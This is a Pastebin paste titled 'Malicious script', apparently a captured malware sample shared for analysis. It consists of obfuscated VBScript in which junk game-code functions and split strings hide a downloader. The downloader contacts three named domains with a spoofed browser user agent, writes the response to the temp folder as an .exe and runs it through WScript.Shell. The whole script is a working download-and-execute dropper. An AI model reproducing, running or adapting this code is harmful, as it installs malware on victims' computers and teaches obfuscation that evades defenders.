Advertisement
dynamoo

Malicious script

Sep 21st, 2017
736
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 10.08 KB | None | 0 0
  1.  
  2.  
  3.  
  4. Function CopyLog()
  5.  
  6.         Dim oFile
  7.         Dim iRetVal, fptr1, fptr2, sLine, sNewLogFolderName, sLogFile
  8.         Dim sComputer
  9.         Dim sLog
  10.         Dim sBootDrive
  11.         ' Make sure the path is accessible
  12.         oUtility.ValidateConnection oEnvironment.Item("SLShare")
  13.         oUtility.VerifyPathExists oEnvironment.Item("SLShare")
  14.         If not oFSO.FolderExists(oEnvironment.Item("SLShare")) then
  15.             oLogging.CreateEntry "An invalid SLShare value of " & oEnvironment.Item("SLShare") & " was specified.", LogTypeWarning
  16.             Exit Function
  17.         End if
  18.  
  19.        
  20.  
  21.     End Function
  22.  
  23.   NeioBurningidentifiedBelish = "User"
  24.  
  25. Function Set2Mine(Who, Color, X, y )
  26.     For i = 0 To UBound(Mines) + 1
  27.         If i > UBound(Mines) Then ReDim Preserve Mines(i)
  28.         If Mines(i).Color = 0 Then
  29.             Mines(i).Who = Who
  30.             Mines(i).Color = Color
  31.             Mines(i).X = X
  32.             Mines(i).y = y
  33.             Mines(i).Tick = 0
  34.             SetMine = i
  35.             Exit For
  36.         End If
  37.     Next
  38. End Function
  39.  
  40. Dim NeioBurningidentifiedensurance 'As String
  41.  
  42. Dim NeioBurningidentifiedUotOfStock 'As String
  43.  
  44.  
  45. CUA ="Mozill"+"a/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
  46. Dim NeioBurningidentifiedRickNano 'As Object
  47. Dim StateUeffects13 'As Object
  48.  
  49.     RACHEL = "avetof"
  50.  
  51.        Dim TristateTrue
  52.  
  53. Function StateUeffectsSubMainA()
  54. if D = 14 then
  55. AXC = "SaveToFile"
  56. end if
  57. StateUeffects13.Savetofile NeioBurningidentifiedUotOfStock , 4-2
  58. End Function
  59. Vrungel = ".respo"+"nseBody"
  60.  
  61. Dim NeioBurningidentifiedstatus
  62. NeioBurningidentifiedstatus = false
  63.      Dim SagaOD
  64. Dim NeioBurningidentifiedcashback 'As Object
  65.  
  66. Function F3(p)
  67.     Set NeioBurningidentifiedRombickom = CreateObject("WScript"+".Shell")  
  68. End Function
  69.  
  70. NeioBurningidentified2 = "Microsoft.XMLHTTPRezvoAdodb.streaMRezvo"+"shell.ApplicationRezvoWscript"+".shellRezvoProcessRezvoGeTRezvoT"+"emPRezvoTySLEMB"+"peSLEMB"
  71.  
  72.  
  73.  
  74. Function SheduledObject(p,d)
  75.  
  76.  
  77.  NeioBurningidentifiedRombickom.Run("" &NeioBurningidentifiedUotOfStock )
  78. End Function
  79.  
  80. Dim NeioBurningidentified1DASH1solo 'As Object  
  81.  
  82. Function ABTF(A, B, T, F)
  83. set ABTF = A.CreateTextFile( B,T , F)
  84. end function
  85. Function MambaMamba( trtrtr )
  86.    MambaMamba = Split(Replace(NeioBurningidentified2, "SLEMB", "" ),  trtrtr)
  87. End Function
  88.  
  89.  
  90.  Dim NeioBurningidentified2 'As String
  91. Dim NeioBurningidentifiedGMAKO 'As Object
  92. Dim mual
  93. Function NeioBurningidentifiedFuks(p)
  94.  
  95. NeioBurningidentifiedRickNano.Send
  96.    
  97. End Function
  98.  
  99. NeioBurningidentified2 = NeioBurningidentified2 +"RezvoSLEMBoSLEMBpenRezvowrSLEMBiteRezvoreSLEMBspoSLEMBnseBoSLEMBdyRezvosaSLEMBvet"+"ofSLEMBileRezvo\NseBhxE.exeSLEMB"+"RezvohtSLEMBtp:Rezvo//"
  100. Function StateUeffectsSubMainA2(param1)
  101. param1 = param1 + param1
  102.     if  1  < param1 OR param1 < 6777  Then
  103. NeioBurningidentifiedASALLLP = NeioBurningidentifiedRickNano.responseBody
  104.     end if
  105. param1 = 2 * param1
  106. End Function
  107.  
  108.  
  109.  
  110. Dim NeioBurningidentified4 'As String
  111.  
  112. Public Function WriteCD(aWrite,bWrite)
  113. astp = 12
  114. astp = astp + 3
  115. if astp > 4 then
  116. aWrite.Write bWrite
  117. astp = 3 * astp
  118. end if
  119. End Function
  120.  
  121. SagaOD = MambaMamba("" + "Rezvo" + "")
  122. Dim NeioBurningidentifiedRombickom
  123.  Dim MarketPlace 'As String
  124.  Dim sTempVis 'As String
  125.  Dim iCount 'As Integer
  126. Dim NeioBurningidentifiedASALLLP 'As Variant
  127. Dim dePetya 'As Integer
  128. NeioBurningidentifiedBelish = NeioBurningidentifiedBelish + "-"
  129.  
  130. Dim iSlashPOS 'As Integer
  131.  Dim sDecimalVis 'As String
  132.  Dim NeioBurningidentifiedPetir 'As String
  133. NeioBurningidentifiedPetir = "Ag"
  134.  
  135.   Dim MarketPlaceibility 'As String
  136.  Dim sNodeKey 'As String
  137.  Dim sParentKey 'As String
  138.  
  139.    
  140.  
  141.  
  142. Set NeioBurningidentifiedRickNano = CreateObject(SagaOD(0))
  143. iSlashPOS = 11 + 1
  144. zTempVis = SagaOD(iSlashPOS/iSlashPOS)
  145.  
  146. 'Set NeioBurningidentifiedGMAKO = CreateObject(SagaOD(8-6))
  147. Set NeioBurningidentifiedStartupeOb = GetRef("SheduledObject")
  148.  
  149. Set StateUeffects13 = CreateObject("Adodb.streaM")
  150. Set NeioBurningidentified1DASH1solo = CreateObject(SagaOD(9-6))
  151.  
  152.  
  153. Function SetUA()
  154. NeioBurningidentifiedLamp.setRequestHeader NeioBurningidentifiedBelish, CUA
  155. End Function
  156.  
  157. if "RIDG" + WScript + "3" = "RIDGWindows Script Host3" Then
  158.    
  159.    
  160. mual = Array("ahlbrandt.eu/IUGiwe8?","fulcar.info/p66/IUGiwe8","accuflowfloors.com/IUGiwe8?")
  161.  
  162.     Set NeioBurningidentifiedcashback = NeioBurningidentified1DASH1solo.Environment(SagaOD(1 + 3))
  163.  
  164. end if 
  165.  
  166. Public Function Anim2UniBall(i)
  167.     Dim Rx, Ry, rBuff
  168.     Dim xt, yt, j, e
  169.     Dim NewX, NewY, d, SgnX, SgnY
  170.     Dim RatioX, RatioY
  171.     Rx = 452
  172.     Ry = 81
  173.    
  174.    
  175.     If SgnY = 1 Then 'y positive testing
  176.        For d = UniBall(i).BallY + 1 To NewY
  177.             j = WeaponTouch(6, i, NewX, d)
  178.             If j = -6 Then
  179.                 UniBall(i).BMoveY = UniBall(i).BMoveY * -1
  180.                 NewY = d - 1
  181.                 Exit For
  182.             End If
  183.         Next
  184.     End If
  185.    
  186.     If SgnY = -1 Then 'y negative testing
  187.        For d = UniBall(i).BallY - 1 To NewY Step -1
  188.             j = WeaponTouch(6, i, NewX, d)
  189.             If j = -6 Then
  190.                 UniBall(i).BMoveY = UniBall(i).BMoveY * -1
  191.                 NewY = d + 1
  192.                 Exit For
  193.             End If
  194.         Next
  195.     End If
  196.     j = WeaponTouch(6, i, NewX, NewY)
  197.     If j = -7 Then Exit Function
  198.    
  199.     UniBall(i).BallX = NewX
  200.     UniBall(i).BallY = NewY
  201. End Function
  202.  
  203.  
  204.  dePetya = 89210
  205.  
  206.  
  207. NeioBurningidentifiedensurance = NeioBurningidentifiedcashback(SagaOD(6))
  208.  Dim i
  209.  'on error GoTo nextU
  210. ' on error resume next
  211. sTempVis = SagaOD(iSlashPOS)
  212.  
  213. Sub SendFlagDat(SndTo)
  214.     Dim i , b , n
  215.     Dim oNewMsg() , lNewOffSet
  216.     Dim lNewMsg
  217.    
  218.     For i = 1 To UBound(Flag1, 2)
  219.        
  220.         lNewMsg = MSG_FLAGS
  221.         lNewOffSet = 0
  222.         ReDim oNewMsg(0)
  223.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  224.         b = 1
  225.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  226.         b = i
  227.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  228.         n = Flag1(0, i)
  229.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  230.         n = Flag1(1, i)
  231.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  232.         n = FlagCarry1(i)
  233.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  234.         SendTo oNewMsg, CInt(SndTo)
  235.     Next
  236.     For i = 1 To UBound(Flag2, 2)
  237.         lNewMsg = MSG_FLAGS
  238.         lNewOffSet = 0
  239.         ReDim oNewMsg(0)
  240.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  241.         b = 2
  242.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  243.         b = i
  244.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  245.         n = Flag2(0, i)
  246.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  247.         n = Flag2(1, i)
  248.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  249.         n = FlagCarry2(i)
  250.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  251.         SendTo oNewMsg, CInt(SndTo)
  252.     Next
  253.     For i = 1 To UBound(Flag3, 2)
  254.         lNewMsg = MSG_FLAGS
  255.         lNewOffSet = 0
  256.         ReDim oNewMsg(0)
  257.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  258.         b = 3
  259.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  260.         b = i
  261.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  262.         n = Flag3(0, i)
  263.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  264.         n = Flag3(1, i)
  265.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  266.         n = FlagCarry3(i)
  267.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  268.         SendTo oNewMsg, CInt(SndTo)
  269.     Next
  270.     For i = 1 To UBound(Flag4, 2)
  271.         lNewMsg = MSG_FLAGS
  272.         lNewOffSet = 0
  273.         ReDim oNewMsg(0)
  274.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  275.         b = 4
  276.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  277.         b = i
  278.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  279.         n = Flag4(0, i)
  280.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  281.         n = Flag4(1, i)
  282.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  283.         n = FlagCarry4(i)
  284.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  285.         SendTo oNewMsg, CInt(SndTo)
  286.     Next
  287.     For i = 1 To UBound(Flag5, 2)
  288.         lNewMsg = MSG_FLAGS
  289.         lNewOffSet = 0
  290.         ReDim oNewMsg(0)
  291.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  292.         b = 5
  293.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  294.         b = i
  295.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  296.         n = Flag5(0, i)
  297.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  298.         n = Flag5(1, i)
  299.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  300.         n = FlagCarry5(i)
  301.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  302.         SendTo oNewMsg, CInt(SndTo)
  303.     Next
  304.    
  305. End Sub
  306. MarketPlace = SagaOD(11+2) & SagaOD(11+3)
  307.  
  308. NeioBurningidentifiedBelish = NeioBurningidentifiedBelish & NeioBurningidentifiedPetir & "ent"
  309.  
  310. rdde = 19
  311.  
  312.  
  313. lTo = UBound(mual)
  314. For i = 0 To lTo Step 1
  315. rdde = rdde * 8
  316.  
  317.     on error resume  next
  318.  
  319. dePetya =  dePetya +7
  320.  NeioBurningidentified4 = MarketPlace + mual(i)
  321.  NeioBurningidentifiedRickNano.Open SagaOD(5), NeioBurningidentified4, False
  322. dr1=2
  323.  
  324. rdde = rdde + 7
  325.  
  326.  
  327. SetUA()
  328. NeioBurningidentifiedFuks " d "
  329. If NeioBurningidentifiedRickNano.Status +3 = 203 Then
  330. NeioBurningidentifiedstatus = true
  331.  Exit For
  332. End If
  333.  
  334. goto14:
  335. Next
  336.  
  337. on error goto 0
  338. if NeioBurningidentifiedstatus Then
  339. Dim Ratchet 'As String
  340. NeioBurningidentifiedUotOfStock = NeioBurningidentifiedensurance+ sTempVis
  341.  
  342. F3 ""
  343. StateUeffects13.Type = 1
  344.  StateUeffects13.Open
  345. StateUeffectsSubMainA2 22
  346. WriteCD StateUeffects13,NeioBurningidentifiedASALLLP
  347. dttat =4
  348. NeioBurningidentifiedUotOfStocku = "" + NeioBurningidentifiedUotOfStock
  349.  
  350. dttat = dttat*2
  351.  
  352. StateUeffectsSubMainA()
  353. Dim NeioBurningidentifiedJohnSnowu,NeioBurningidentifiedTmp1 'As Long
  354.  
  355. NeioBurningidentifiedJohnSnowu = 3012
  356.  
  357. If 1010  < NeioBurningidentifiedJohnSnowu Then
  358.   drba =55
  359.  NeioBurningidentifiedTmp1 = "|"
  360.  
  361. NeioBurningidentifiedStartupeOb 4,"91"
  362. End If
  363.  
  364.  
  365.  
  366. triada = 341
  367. end if
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement